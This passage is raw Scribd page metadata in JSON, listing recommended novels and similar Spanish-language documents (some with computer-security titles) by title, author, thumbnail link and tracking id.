Foer","tracking":{"object_type":"document","object_id":249309502,"track":"flattened_recommender","doc_uuid":"/uBjc6PtSqCJa15AIC9cb2jBDvI="},"url":"https://www.scribd.com/read/249309502/Extremely-Loud-and-Incredibly-Close-A-Novel"},{"type":"book","id":254039238,"thumb_url":"https://imgv2-2-f.scribdassets.com/img/word_document/254039238/108x144/a8c6c5e065/1537264184?v=1","retina_thumb_url":"https://imgv2-2-f.scribdassets.com/img/word_document/254039238/216x288/0e4e5ae0d4/1537264184?v=1","title":"Leaving Berlin: A Novel","short_title":"Leaving Berlin","author":"Joseph Kanon","tracking":{"object_type":"document","object_id":254039238,"track":"flattened_recommender","doc_uuid":"BTWEgbbXjIH0WxUL3fbB+5J877k="},"url":"https://www.scribd.com/read/254039238/Leaving-Berlin-A-Novel"},{"type":"book","id":182565115,"thumb_url":"https://imgv2-1-f.scribdassets.com/img/word_document/182565115/108x144/50e3fc9eb2/1537268049?v=1","retina_thumb_url":"https://imgv2-2-f.scribdassets.com/img/word_document/182565115/216x288/8bbf81282a/1537268049?v=1","title":"The Silver Linings Playbook: A Novel","short_title":"The Silver Linings Playbook","author":"Matthew Quick","tracking":{"object_type":"document","object_id":182565115,"track":"flattened_recommender","doc_uuid":"ZM4HRTRk4TDP+UQxcu0FcD3xbhA="},"url":"https://www.scribd.com/read/182565115/The-Silver-Linings-Playbook-A-Novel"},{"type":"book","id":224306619,"thumb_url":"https://imgv2-1-f.scribdassets.com/img/word_document/224306619/108x144/7eeca5a1bc/1537267704?v=1","retina_thumb_url":"https://imgv2-1-f.scribdassets.com/img/word_document/224306619/216x288/4a8f75444a/1537267704?v=1","title":"The Light Between Oceans: A Novel","short_title":"The Light Between Oceans","author":"M.L. Stedman","tracking":{"object_type":"document","object_id":224306619,"track":"flattened_recommender","doc_uuid":"iTZI0Dt5LTalZjtSeBAvpQewna8="},"url":"https://www.scribd.com/read/224306619/The-Light-Between-Oceans-A-Novel"},{"type":"book","id":273440534,"thumb_url":"https://imgv2-1-f.scribdassets.com/img/word_document/273440534/108x144/b7e49e07d3/1537265114?v=1","retina_thumb_url":"https://imgv2-2-f.scribdassets.com/img/word_document/273440534/216x288/aaec1b2b1a/1537265114?v=1","title":"The Incarnations: A Novel","short_title":"The Incarnations","author":"Susan Barker","tracking":{"object_type":"document","object_id":273440534,"track":"flattened_recommender","doc_uuid":"71oRbits65m3WFwK+RhykUPf644="},"url":"https://www.scribd.com/read/273440534/The-Incarnations-A-Novel"},{"type":"book","id":273582508,"thumb_url":"https://imgv2-2-f.scribdassets.com/img/word_document/273582508/108x144/fb92cadae3/1537261613?v=1","retina_thumb_url":"https://imgv2-2-f.scribdassets.com/img/word_document/273582508/216x288/135562ba06/1537261613?v=1","title":"You Too Can Have a Body Like Mine: A Novel","short_title":"You Too Can Have a Body Like Mine","author":"Alexandra Kleeman","tracking":{"object_type":"document","object_id":273582508,"track":"flattened_recommender","doc_uuid":"D5KyxBXhtWhgsIADIm3nBU/oGck="},"url":"https://www.scribd.com/read/273582508/You-Too-Can-Have-a-Body-Like-Mine-A-Novel"},{"type":"book","id":182546874,"thumb_url":"https://imgv2-1-f.scribdassets.com/img/word_document/182546874/108x144/817bab2149/1537264294?v=1","retina_thumb_url":"https://imgv2-2-f.scribdassets.com/img/word_document/182546874/216x288/a6b6573207/1537264294?v=1","title":"The Love Affairs of Nathaniel P.: A Novel","short_title":"The Love Affairs of Nathaniel P.","author":"Adelle Waldman","tracking":{"object_type":"document","object_id":182546874,"track":"flattened_recommender","doc_uuid":"7mr9e9LLZO1SXvG+hHb1HBpoE7c="},"url":"https://www.scribd.com/read/182546874/The-Love-Affairs-of-Nathaniel-P-A-Novel"},{"type":"book","id":249308781,"thumb_url":"https://imgv2-2-f.scribdassets.com/img/word_document/249308781/108x144/8ccbad3c4a/1537265248?v=1","retina_thumb_url":"https://imgv2-2-f.scribdassets.com/img/word_document/249308781/216x288/b0591f1a45/1537265248?v=1","title":"Life of Pi","short_title":"Life of Pi","author":"Yann Martel","tracking":{"object_type":"document","object_id":249308781,"track":"flattened_recommender","doc_uuid":"4hCSYO/pFyaedXP+u3qK/Huc5hw="},"url":"https://www.scribd.com/read/249308781/Life-of-Pi"},{"type":"book","id":224252178,"thumb_url":"https://imgv2-1-f.scribdassets.com/img/word_document/224252178/108x144/68dbc1000d/1537259797?v=1","retina_thumb_url":"https://imgv2-2-f.scribdassets.com/img/word_document/224252178/216x288/57a65a5750/1537259797?v=1","title":"Brooklyn: A Novel","short_title":"Brooklyn","author":"Colm Toibin","tracking":{"object_type":"document","object_id":224252178,"track":"flattened_recommender","doc_uuid":"ZIwBvgY4iTg2SXI2YTiZei1e/4g="},"url":"https://www.scribd.com/read/224252178/Brooklyn-A-Novel"},{"type":"book","id":224285255,"thumb_url":"https://imgv2-2-f.scribdassets.com/img/word_document/224285255/108x144/144bc668f6/1537254183?v=1","retina_thumb_url":"https://imgv2-2-f.scribdassets.com/img/word_document/224285255/216x288/9dbee53a6c/1537254183?v=1","title":"The Flamethrowers: A Novel","short_title":"The Flamethrowers","author":"Rachel Kushner","tracking":{"object_type":"document","object_id":224285255,"track":"flattened_recommender","doc_uuid":"pVOXKvPLDmjKfs80Wua4LDz7Y0A="},"url":"https://www.scribd.com/read/224285255/The-Flamethrowers-A-Novel"},{"type":"book","id":250006950,"thumb_url":"https://imgv2-2-f.scribdassets.com/img/word_document/250006950/108x144/2a1edbdeca/1537258870?v=1","retina_thumb_url":"https://imgv2-1-f.scribdassets.com/img/word_document/250006950/216x288/139a0bb438/1537258870?v=1","title":"The First Bad Man: A Novel","short_title":"The First Bad Man","author":"Miranda July","tracking":{"object_type":"document","object_id":250006950,"track":"flattened_recommender","doc_uuid":"h0z2zYl6CdiJEwT1NAFYDrNRXQ0="},"url":"https://www.scribd.com/read/250006950/The-First-Bad-Man-A-Novel"},{"type":"book","id":235583696,"thumb_url":"https://imgv2-2-f.scribdassets.com/img/word_document/235583696/108x144/a9f15763be/1537267070?v=1","retina_thumb_url":"https://imgv2-2-f.scribdassets.com/img/word_document/235583696/216x288/7c5ab0af0f/1537267070?v=1","title":"We Are Not Ourselves: A Novel","short_title":"We Are Not Ourselves","author":"Matthew Thomas","tracking":{"object_type":"document","object_id":235583696,"track":"flattened_recommender","doc_uuid":"8W8Q0IzGSWB7HtiqZhy58oHDzNQ="},"url":"https://www.scribd.com/read/235583696/We-Are-Not-Ourselves-A-Novel"},{"type":"book","id":231689346,"thumb_url":"https://imgv2-2-f.scribdassets.com/img/word_document/231689346/108x144/7e5fbbde4a/1537254335?v=1","retina_thumb_url":"https://imgv2-2-f.scribdassets.com/img/word_document/231689346/216x288/b7fe80231f/1537254335?v=1","title":"The Blazing World: A Novel","short_title":"The Blazing World","author":"Siri Hustvedt","tracking":{"object_type":"document","object_id":231689346,"track":"flattened_recommender","doc_uuid":"ty4tKQRUHwx5eTQhbThA4GPSf20="},"url":"https://www.scribd.com/read/231689346/The-Blazing-World-A-Novel"},{"type":"book","id":224248577,"thumb_url":"https://imgv2-1-f.scribdassets.com/img/word_document/224248577/108x144/d525463c67/1537254258?v=1","retina_thumb_url":"https://imgv2-2-f.scribdassets.com/img/word_document/224248577/216x288/2b59844b99/1537254258?v=1","title":"The Rosie Project: A Novel","short_title":"The Rosie Project","author":"Graeme Simsion","tracking":{"object_type":"document","object_id":224248577,"track":"flattened_recommender","doc_uuid":"vnZajDW+rC+WL1EldiYfr0ncSmE="},"url":"https://www.scribd.com/read/224248577/The-Rosie-Project-A-Novel"},{"type":"book","id":163580087,"thumb_url":"https://imgv2-1-f.scribdassets.com/img/word_document/163580087/108x144/865888b820/1537264329?v=1","retina_thumb_url":"https://imgv2-1-f.scribdassets.com/img/word_document/163580087/216x288/a50ec4d378/1537264329?v=1","title":"Bel Canto","short_title":"Bel Canto","author":"Ann Patchett","tracking":{"object_type":"document","object_id":163580087,"track":"flattened_recommender","doc_uuid":"H5eokz8mfHC4YCnJDnDKPe6nk7U="},"url":"https://www.scribd.com/read/163580087/Bel-Canto"},{"type":"book","id":224270540,"thumb_url":"https://imgv2-2-f.scribdassets.com/img/word_document/224270540/108x144/f484685ce1/1537270337?v=1","retina_thumb_url":"https://imgv2-1-f.scribdassets.com/img/word_document/224270540/216x288/f0d4e09ce0/1537270337?v=1","title":"The Master","short_title":"The Master","author":"Colm Toibin","tracking":{"object_type":"document","object_id":224270540,"track":"flattened_recommender","doc_uuid":"9nyOqK05/MlyreSjwJ3ZlwaQsxU="},"url":"https://www.scribd.com/read/224270540/The-Master"},{"type":"book","id":235411767,"thumb_url":"https://imgv2-2-f.scribdassets.com/img/word_document/235411767/108x144/b2ad7aa7d5/1537260468?v=1","retina_thumb_url":"https://imgv2-1-f.scribdassets.com/img/word_document/235411767/216x288/1740216c8c/1537260468?v=1","title":"A Man Called Ove: A Novel","short_title":"A Man Called Ove","author":"Fredrik Backman","tracking":{"object_type":"document","object_id":235411767,"track":"flattened_recommender","doc_uuid":"DBb5PzgOgVy2wPRRTWHzGkHXQWU="},"url":"https://www.scribd.com/read/235411767/A-Man-Called-Ove-A-Novel"},{"type":"book","id":163564256,"thumb_url":"https://imgv2-1-f.scribdassets.com/img/word_document/163564256/108x144/19b813ddea/1537257304?v=1","retina_thumb_url":"https://imgv2-1-f.scribdassets.com/img/word_document/163564256/216x288/50918b57c9/1537257304?v=1","title":"Beautiful Ruins: A Novel","short_title":"Beautiful Ruins","author":"Jess Walter","tracking":{"object_type":"document","object_id":163564256,"track":"flattened_recommender","doc_uuid":"0/hSpBkhG6zPGXYb08JtBZU/axM="},"url":"https://www.scribd.com/read/163564256/Beautiful-Ruins-A-Novel"},{"type":"book","id":224248520,"thumb_url":"https://imgv2-2-f.scribdassets.com/img/word_document/224248520/108x144/57b8f15c1c/1537267847?v=1","retina_thumb_url":"https://imgv2-1-f.scribdassets.com/img/word_document/224248520/216x288/2fc602273a/1537267847?v=1","title":"The Kitchen House: A Novel","short_title":"The Kitchen House","author":"Kathleen Grissom","tracking":{"object_type":"document","object_id":224248520,"track":"flattened_recommender","doc_uuid":"/MLA6ZxMMIAe0oUPp569qJ1xkbo="},"url":"https://www.scribd.com/read/224248520/The-Kitchen-House-A-Novel"},{"type":"book","id":249308236,"thumb_url":"https://imgv2-2-f.scribdassets.com/img/word_document/249308236/108x144/0b356a7d6a/1537258191?v=1","retina_thumb_url":"https://imgv2-2-f.scribdassets.com/img/word_document/249308236/216x288/cbef455d67/1537258191?v=1","title":"Interpreter of Maladies","short_title":"Interpreter of Maladies","author":"Jhumpa Lahiri","tracking":{"object_type":"document","object_id":249308236,"track":"flattened_recommender","doc_uuid":"iaIXLdVSyYnkqfQ18ar/DSisCLU="},"url":"https://www.scribd.com/read/249308236/Interpreter-of-Maladies"},{"type":"book","id":246897514,"thumb_url":"https://imgv2-1-f.scribdassets.com/img/word_document/246897514/108x144/60f21686b1/1537268561?v=1","retina_thumb_url":"https://imgv2-2-f.scribdassets.com/img/word_document/246897514/216x288/4b640ccfe4/1537268561?v=1","title":"The Wallcreeper","short_title":"The Wallcreeper","author":"Nell Zink","tracking":{"object_type":"document","object_id":246897514,"track":"flattened_recommender","doc_uuid":"61983L4b2hJiMUHZqdnfE06ifoE="},"url":"https://www.scribd.com/read/246897514/The-Wallcreeper"},{"type":"book","id":182560283,"thumb_url":"https://imgv2-2-f.scribdassets.com/img/word_document/182560283/108x144/229169a793/1537268709?v=1","retina_thumb_url":"https://imgv2-1-f.scribdassets.com/img/word_document/182560283/216x288/fc0b9ebffa/1537268709?v=1","title":"Wolf Hall: A Novel","short_title":"Wolf Hall","author":"Hilary Mantel","tracking":{"object_type":"document","object_id":182560283,"track":"flattened_recommender","doc_uuid":"G4cQxipd+q1qvOJFz2RK7hL5s7A="},"url":"https://www.scribd.com/read/182560283/Wolf-Hall-A-Novel"},{"type":"book","id":163579056,"thumb_url":"https://imgv2-1-f.scribdassets.com/img/word_document/163579056/108x144/b0cc4a522d/1537262921?v=1","retina_thumb_url":"https://imgv2-2-f.scribdassets.com/img/word_document/163579056/216x288/cc1bed9752/1537262921?v=1","title":"The Art of Racing in the Rain: A Novel","short_title":"The Art of Racing in the Rain","author":"Garth Stein","tracking":{"object_type":"document","object_id":163579056,"track":"flattened_recommender","doc_uuid":"ull4RwNBDuA4TO2orc0ATnMTe20="},"url":"https://www.scribd.com/read/163579056/The-Art-of-Racing-in-the-Rain-A-Novel"},{"type":"book","id":163647832,"thumb_url":"https://imgv2-1-f.scribdassets.com/img/word_document/163647832/108x144/9f4ce0c73a/1537257340?v=1","retina_thumb_url":"https://imgv2-1-f.scribdassets.com/img/word_document/163647832/216x288/c8974e0a45/1537257340?v=1","title":"The Cider House Rules","short_title":"The Cider House Rules","author":"John Irving","tracking":{"object_type":"document","object_id":163647832,"track":"flattened_recommender","doc_uuid":"8dfD27AMgMZkY2f5YqIw+CqnWm8="},"url":"https://www.scribd.com/read/163647832/The-Cider-House-Rules"},{"type":"book","id":163603389,"thumb_url":"https://imgv2-1-f.scribdassets.com/img/word_document/163603389/108x144/9281c90791/1537268895?v=1","retina_thumb_url":"https://imgv2-1-f.scribdassets.com/img/word_document/163603389/216x288/a0de7e7dea/1537268895?v=1","title":"A Prayer for Owen Meany: A Novel","short_title":"A Prayer for Owen Meany","author":"John Irving","tracking":{"object_type":"document","object_id":163603389,"track":"flattened_recommender","doc_uuid":"QWlDMpz4MjGp928jE+SK8K7SkyQ="},"url":"https://www.scribd.com/read/163603389/A-Prayer-for-Owen-Meany-A-Novel"},{"type":"book","id":224266633,"thumb_url":"https://imgv2-1-f.scribdassets.com/img/word_document/224266633/108x144/d0de7b5bf4/1537271221?v=1","retina_thumb_url":"https://imgv2-1-f.scribdassets.com/img/word_document/224266633/216x288/a40600a76d/1537271221?v=1","title":"The Perks of Being a Wallflower","short_title":"The Perks of Being a Wallflower","author":"Stephen Chbosky","tracking":{"object_type":"document","object_id":224266633,"track":"flattened_recommender","doc_uuid":"DfWFDFDt2ZS599fy6IeK6CiI+RU="},"url":"https://www.scribd.com/read/224266633/The-Perks-of-Being-a-Wallflower"},{"type":"book","id":216442529,"thumb_url":"https://imgv2-2-f.scribdassets.com/img/word_document/216442529/108x144/7945e537de/1537257634?v=1","retina_thumb_url":"https://imgv2-1-f.scribdassets.com/img/word_document/216442529/216x288/95db88293e/1537257634?v=1","title":"Lovers at the Chameleon Club, Paris 1932: A Novel","short_title":"Lovers at the Chameleon Club, Paris 1932","author":"Francine Prose","tracking":{"object_type":"document","object_id":216442529,"track":"flattened_recommender","doc_uuid":"nDIs1S3sh7fbI/OcFfc0KRKXjZs="},"url":"https://www.scribd.com/read/216442529/Lovers-at-the-Chameleon-Club-Paris-1932-A-Novel"},{"type":"book","id":182522032,"thumb_url":"https://imgv2-2-f.scribdassets.com/img/word_document/182522032/108x144/671b9a055b/1537264427?v=1","retina_thumb_url":"https://imgv2-1-f.scribdassets.com/img/word_document/182522032/216x288/ec6eb5c88b/1537264427?v=1","title":"The Bonfire of the Vanities: A Novel","short_title":"The Bonfire of the Vanities","author":"Tom Wolfe","tracking":{"object_type":"document","object_id":182522032,"track":"flattened_recommender","doc_uuid":"5f+yAQ/qFazVJvl0BVAvYNOmjDc="},"url":"https://www.scribd.com/read/182522032/The-Bonfire-of-the-Vanities-A-Novel"},{"type":"book","id":231689506,"thumb_url":"https://imgv2-1-f.scribdassets.com/img/word_document/231689506/108x144/640ee9da4e/1537268020?v=1","retina_thumb_url":"https://imgv2-2-f.scribdassets.com/img/word_document/231689506/216x288/ce52320e76/1537268020?v=1","title":"Little Bee: A Novel","short_title":"Little Bee","author":"Chris Cleave","tracking":{"object_type":"document","object_id":231689506,"track":"flattened_recommender","doc_uuid":"jsj0xIPv65QeLDnzQnl9XrZY/w0="},"url":"https://www.scribd.com/read/231689506/Little-Bee-A-Novel"}],"title_link":null,"title":null,"track_opts":{"compilation_id":"Je/VwFzpUROulEt0vMhIsK5ozrk=","module_id":"YFv+qBmPpwLtXJg5eyg/r3gz3pk=","widget_name":"right sidebar","track_id":"flattened_recommender"}},"footer_recommenders":{"recommenders":[{"item_props":[{"type":"document","id":86934805,"thumb_url":"https://imgv2-1-f.scribdassets.com/img/document/86934805/108x144/854f6440bd/1332873907?v=1","retina_thumb_url":"https://imgv2-1-f.scribdassets.com/img/document/86934805/216x288/1106e6f65e/1332873907?v=1","title":"Como+Sacar+El+Maximo+Provecho+a+Internet +Jornada3","short_title":"Como+Sacar+El+Maximo+Provecho+a+Internet +Jornada3","author":"Roberto Silva Torres","tracking":{"object_type":"document","object_id":86934805,"track":"similar_to","doc_uuid":"io+eTNjwv0Xc3NTxVbbpZ7BXGg0="},"url":"https://www.scribd.com/document/86934805/Como-Sacar-El-Maximo-Provecho-a-Internet-Jornada3"},{"type":"document","id":341150582,"thumb_url":"https://imgv2-1-f.scribdassets.com/img/document/341150582/108x144/239f10bc8c/1488868418?v=1","retina_thumb_url":"https://imgv2-2-f.scribdassets.com/img/document/341150582/216x288/79fe39bbaf/1488868418?v=1","title":"Políticas Del Blog o Web Magazine HYGGE","short_title":"Políticas Del Blog o Web Magazine HYGGE","author":"laez_cristina","tracking":{"object_type":"document","object_id":341150582,"track":"similar_to","doc_uuid":"0ZqlhwvD3zYM/qWnGx//nfMZ0Ek="},"url":"https://www.scribd.com/document/341150582/Politicas-Del-Blog-o-Web-Magazine-HYGGE"},{"type":"document","id":335396769,"thumb_url":"https://imgv2-2-f.scribdassets.com/img/document/335396769/108x144/79e2f4cb47/1483176523?v=1","retina_thumb_url":"https://imgv2-2-f.scribdassets.com/img/document/335396769/216x288/35b1577e12/1483176523?v=1","title":"Intro Software U-1","short_title":"Intro Software U-1","author":"Franco Torres","tracking":{"object_type":"document","object_id":335396769,"track":"similar_to","doc_uuid":"bXqgBHJ4g5+lhC3jdKjX4MD5qLY="},"url":"https://www.scribd.com/document/335396769/Intro-Software-U-1"},{"type":"document","id":95313583,"thumb_url":"https://imgv2-2-f.scribdassets.com/img/document/95313583/108x144/0cddc5b182/1392645878?v=1","retina_thumb_url":"https://imgv2-2-f.scribdassets.com/img/document/95313583/216x288/0639fbf688/1392645878?v=1","title":"Gacetilla CCNA","short_title":"Gacetilla CCNA","author":"RonaldHuamánRomero","tracking":{"object_type":"document","object_id":95313583,"track":"similar_to","doc_uuid":"OQViq1BQyCVRssLs0QY4f9WEsjI="},"url":"https://www.scribd.com/document/95313583/Gacetilla-CCNA"},{"type":"document","id":366676961,"thumb_url":"https://imgv2-1-f.scribdassets.com/img/document/366676961/108x144/54bf6ab703/1512755938?v=1","retina_thumb_url":"https://imgv2-2-f.scribdassets.com/img/document/366676961/216x288/d7d4b2d56b/1512755938?v=1","title":"Nociones Básicas de Seguridad InformáticaUnidad1","short_title":"Nociones Básicas de Seguridad InformáticaUnidad1","author":"david","tracking":{"object_type":"document","object_id":366676961,"track":"similar_to","doc_uuid":"wzQAAHyXFx99JXWS5jAqbGDzANE="},"url":"https://www.scribd.com/document/366676961/Nociones-Basicas-de-Seguridad-InformaticaUnidad1"},{"type":"document","id":61539431,"thumb_url":"https://imgv2-1-f.scribdassets.com/img/document/61539431/108x144/3b8652b9c2/1312389227?v=1","retina_thumb_url":"https://imgv2-2-f.scribdassets.com/img/document/61539431/216x288/8146f95352/1312389227?v=1","title":"Cv Rodrigo Navarro Fiori","short_title":"Cv Rodrigo Navarro Fiori","author":"Anapaula Navarro Fiori","tracking":{"object_type":"document","object_id":61539431,"track":"similar_to","doc_uuid":"0BtGV/89PZ/2uVe82NFBgA4eRik="},"url":"https://www.scribd.com/document/61539431/Cv-Rodrigo-Navarro-Fiori"},{"type":"document","id":111312641,"thumb_url":"https://imgv2-2-f.scribdassets.com/img/document/111312641/108x144/e980497288/1359074609?v=1","retina_thumb_url":"https://imgv2-2-f.scribdassets.com/img/document/111312641/216x288/78709950b8/1359074609?v=1","title":"Bolsas de Trabajo","short_title":"Bolsas de Trabajo","author":"Miguel Angel Medina","tracking":{"object_type":"document","object_id":111312641,"track":"similar_to","doc_uuid":"17LJUjRGoA7Z7FyjuwuS6t/DwKo="},"url":"https://www.scribd.com/document/111312641/Bolsas-de-Trabajo"},{"type":"document","id":137258911,"thumb_url":"https://imgv2-2-f.scribdassets.com/img/document/137258911/108x144/cb38832108/1431599128?v=1","retina_thumb_url":"https://imgv2-2-f.scribdassets.com/img/document/137258911/216x288/bba5b8a938/1431599128?v=1","title":"Blog+de+Raul+Angel+Velazquez+Rodriguez_+La+historia+detrás+de+mis+17+certificaciones+de+Cisco","short_title":"Blog+de+Raul+Angel+Velazquez+Rodriguez_+La+historia+detrás+de+mis+17+certificaciones+de+Cisco","author":"trux06","tracking":{"object_type":"document","object_id":137258911,"track":"similar_to","doc_uuid":"eMy1NwiIYRJx7XCBacezZ9oQEVo="},"url":"https://www.scribd.com/document/137258911/Blog-de-Raul-Angel-Velazquez-Rodriguez-La-historia-detras-de-mis-17-certificaciones-de-Cisco"},{"type":"document","id":268858769,"thumb_url":"https://imgv2-1-f.scribdassets.com/img/document/268858769/108x144/8b593db2a7/1434473283?v=1","retina_thumb_url":"https://imgv2-1-f.scribdassets.com/img/document/268858769/216x288/205e3809ab/1434473283?v=1","title":"{5eeec9ef 14c0 4c11 9432 28ccb06fe718} Tipping Point Combined ES","short_title":"{5eeec9ef 14c0 4c11 9432 28ccb06fe718} Tipping Point Combined ES","author":"bad3106","tracking":{"object_type":"document","object_id":268858769,"track":"similar_to","doc_uuid":"o3pGdRzZrLLs2g8uWjcOyzgdGm4="},"url":"https://www.scribd.com/document/268858769/5eeec9ef-14c0-4c11-9432-28ccb06fe718-Tipping-Point-Combined-ES"},{"type":"document","id":376465411,"thumb_url":"https://imgv2-1-f.scribdassets.com/img/document/376465411/108x144/55cf592120/1523856471?v=1","retina_thumb_url":"https://imgv2-1-f.scribdassets.com/img/document/376465411/216x288/9724431938/1523856471?v=1","title":"Gelmer Restrepo Hernandez Seguridad 3.2","short_title":"Gelmer Restrepo Hernandez Seguridad 3.2","author":"gelmer","tracking":{"object_type":"document","object_id":376465411,"track":"similar_to","doc_uuid":"r6Brieq/IPvFMNGQ49gdfMdDDMI="},"url":"https://www.scribd.com/document/376465411/Gelmer-Restrepo-Hernandez-Seguridad-3-2"},{"type":"document","id":54885047,"thumb_url":"https://imgv2-2-f.scribdassets.com/img/document/54885047/108x144/0c05627892/1407633139?v=1","retina_thumb_url":"https://imgv2-1-f.scribdassets.com/img/document/54885047/216x288/f7cf48766e/1407633139?v=1","title":"Que Son Los Spyweres, Como Funcionan y Como Eliminarlos","short_title":"Que Son Los Spyweres, Como Funcionan y Como Eliminarlos","author":"Dragom_G_mez_C_1313","tracking":{"object_type":"document","object_id":54885047,"track":"similar_to","doc_uuid":"lZyBT+bUB361sdm0HvPkbhZLMso="},"url":"https://www.scribd.com/document/54885047/Que-Son-Los-Spyweres-Como-Funcionan-y-Como-Eliminarlos"},{"type":"document","id":246643807,"thumb_url":"https://imgv2-2-f.scribdassets.com/img/document/246643807/108x144/c2c7b44946/1416024411?v=1","retina_thumb_url":"https://imgv2-1-f.scribdassets.com/img/document/246643807/216x288/2235e079be/1416024411?v=1","title":"Trabajo Colaborativo No2 Telematica","short_title":"Trabajo Colaborativo No2 Telematica","author":"Jeison Orobio","tracking":{"object_type":"document","object_id":246643807,"track":"similar_to","doc_uuid":"XSjjj/CRDFcNwjRK5SSeic1Fcb8="},"url":"https://www.scribd.com/document/246643807/Trabajo-Colaborativo-No2-Telematica"},{"type":"document","id":68010729,"thumb_url":"https://imgv2-1-f.scribdassets.com/img/document/68010729/108x144/b1ea778c93/1409487060?v=1","retina_thumb_url":"https://imgv2-1-f.scribdassets.com/img/document/68010729/216x288/639524ef10/1409487060?v=1","title":"Hackin9-17","short_title":"Hackin9-17","author":"kkyyuuxx","tracking":{"object_type":"document","object_id":68010729,"track":"similar_to","doc_uuid":"eRTGgjQWNOM3+wyrmWgb7wIsuak="},"url":"https://www.scribd.com/document/68010729/Hackin9-17"},{"type":"document","id":380689666,"thumb_url":"https://imgv2-2-f.scribdassets.com/img/document/380689666/108x144/4151124159/1527800972?v=1","retina_thumb_url":"https://imgv2-2-f.scribdassets.com/img/document/380689666/216x288/929165a5b2/1527800972?v=1","title":"Curriculum Vitae","short_title":"Curriculum Vitae","author":"Samuel Acosta","tracking":{"object_type":"document","object_id":380689666,"track":"similar_to","doc_uuid":"RmrRIsdgfIoBdrGjYenqEnp0Zio="},"url":"https://www.scribd.com/document/380689666/Curriculum-Vitae"},{"type":"document","id":49645773,"thumb_url":"https://imgv2-2-f.scribdassets.com/img/document/49645773/108x144/71f9606260/1298824728?v=1","retina_thumb_url":"https://imgv2-2-f.scribdassets.com/img/document/49645773/216x288/a89a7cabdb/1298824728?v=1","title":"ESET. Tendencias 2011: las botnet y el malware dinámico. ","short_title":"ESET. Tendencias 2011","author":"Nicolás Boettcher","tracking":{"object_type":"document","object_id":49645773,"track":"similar_to","doc_uuid":"6BXoMymdxJm/nk6JK8dBSl9x0T8="},"url":"https://www.scribd.com/document/49645773/ESET-Tendencias-2011-las-botnet-y-el-malware-dinamico"},{"type":"document","id":209110126,"thumb_url":"https://imgv2-2-f.scribdassets.com/img/document/209110126/108x144/86a9e5864d/1393320936?v=1","retina_thumb_url":"https://imgv2-2-f.scribdassets.com/img/document/209110126/216x288/ceb6186156/1393320936?v=1","title":"Unidad 1","short_title":"Unidad 1","author":"badchulo","tracking":{"object_type":"document","object_id":209110126,"track":"similar_to","doc_uuid":"xiWh5Lftz+Kh0KeQkocvs1ecLEc="},"url":"https://www.scribd.com/document/209110126/Unidad-1"},{"type":"document","id":382802863,"thumb_url":"https://imgv2-2-f.scribdassets.com/img/document/382802863/108x144/26dde920ab/1530204543?v=1","retina_thumb_url":"https://imgv2-2-f.scribdassets.com/img/document/382802863/216x288/86009fba7a/1530204543?v=1","title":"DELITOS INFORMATICOS","short_title":"DELITOS INFORMATICOS","author":"Mayra Saldaña","tracking":{"object_type":"document","object_id":382802863,"track":"similar_to","doc_uuid":"dOKcFdX8c2YM+xSKnOfJJgQqQHI="},"url":"https://www.scribd.com/document/382802863/DELITOS-INFORMATICOS"},{"type":"document","id":282202268,"thumb_url":"https://imgv2-2-f.scribdassets.com/img/document/282202268/108x144/1bdc42f5bf/1442788353?v=1","retina_thumb_url":"https://imgv2-1-f.scribdassets.com/img/document/282202268/216x288/8d40f22612/1442788353?v=1","title":"Software Parte 2","short_title":"Software Parte 2","author":"SebastianMillan","tracking":{"object_type":"document","object_id":282202268,"track":"similar_to","doc_uuid":"uNQyHIiCwF/aP2ELKL6JOpXGvWE="},"url":"https://www.scribd.com/document/282202268/Software-Parte-2"},{"type":"document","id":268417301,"thumb_url":"https://imgv2-1-f.scribdassets.com/img/document/268417301/108x144/7305bad94f/1434060053?v=1","retina_thumb_url":"https://imgv2-2-f.scribdassets.com/img/document/268417301/216x288/a7107048dc/1434060053?v=1","title":"delitos informaticos","short_title":"delitos informaticos","author":"carlos","tracking":{"object_type":"document","object_id":268417301,"track":"similar_to","doc_uuid":"Q9Jk+qGj1KR+pd5oU7ybz4LKZFc="},"url":"https://www.scribd.com/document/268417301/delitos-informaticos"},{"type":"document","id":309546732,"thumb_url":"https://imgv2-2-f.scribdassets.com/img/document/309546732/108x144/aca66d60c3/1460983007?v=1","retina_thumb_url":"https://imgv2-2-f.scribdassets.com/img/document/309546732/216x288/56a9a9ac59/1460983007?v=1","title":"DNS Malware Iicybersecurity","short_title":"DNS Malware Iicybersecurity","author":"David Thomas","tracking":{"object_type":"document","object_id":309546732,"track":"similar_to","doc_uuid":"MIvN32IOnlZx/1KzCD+cmzo2N5U="},"url":"https://www.scribd.com/document/309546732/DNS-Malware-Iicybersecurity"},{"type":"document","id":117345505,"thumb_url":"https://imgv2-1-f.scribdassets.com/img/document/117345505/108x144/23c07c142f/1355903594?v=1","retina_thumb_url":"https://imgv2-2-f.scribdassets.com/img/document/117345505/216x288/7c329ae2f7/1355903594?v=1","title":"Animación del Droid 2 R2-D2 Edition Techniques To be able to Make Improvements To gestion empresarial analisis At A Small Limited Budget.20121219.015302","short_title":"Animación del Droid 2 R2-D2 Edition Techniques To be able to Make Improvements To gestion empresarial analisis At A Small Limited Budget.20121219.015302","author":"anon_268558478","tracking":{"object_type":"document","object_id":117345505,"track":"similar_to","doc_uuid":"NzKB1kB6PLgrqGevEE/sHfguUUM="},"url":"https://www.scribd.com/document/117345505/Animacion-del-Droid-2-R2-D2-Edition-Techniques-To-be-able-to-Make-Improvements-To-gestion-empresarial-analisis-At-A-Small-Limited-Budget-20121219-0153"},{"type":"document","id":257620950,"thumb_url":"https://imgv2-2-f.scribdassets.com/img/document/257620950/108x144/86285ee8f3/1425459309?v=1","retina_thumb_url":"https://imgv2-1-f.scribdassets.com/img/document/257620950/216x288/b86800a27b/1425459309?v=1","title":"8dot8_2013_pres_LM_1.pdf","short_title":"8dot8_2013_pres_LM_1.pdf","author":"Jhon Doe","tracking":{"object_type":"document","object_id":257620950,"track":"similar_to","doc_uuid":"PggAA+76dZubh+2GZW0v8l4zEcY="},"url":"https://www.scribd.com/document/257620950/8dot8-2013-pres-LM-1-pdf"},{"type":"document","id":307194304,"thumb_url":"https://imgv2-1-f.scribdassets.com/img/document/307194304/108x144/308923b837/1459945883?v=1","retina_thumb_url":"https://imgv2-2-f.scribdassets.com/img/document/307194304/216x288/a540e90e32/1459945883?v=1","title":"Gesti?n de la seguridad privada aporta valor a las empresas","short_title":"Gesti?n de la seguridad privada aporta valor a las 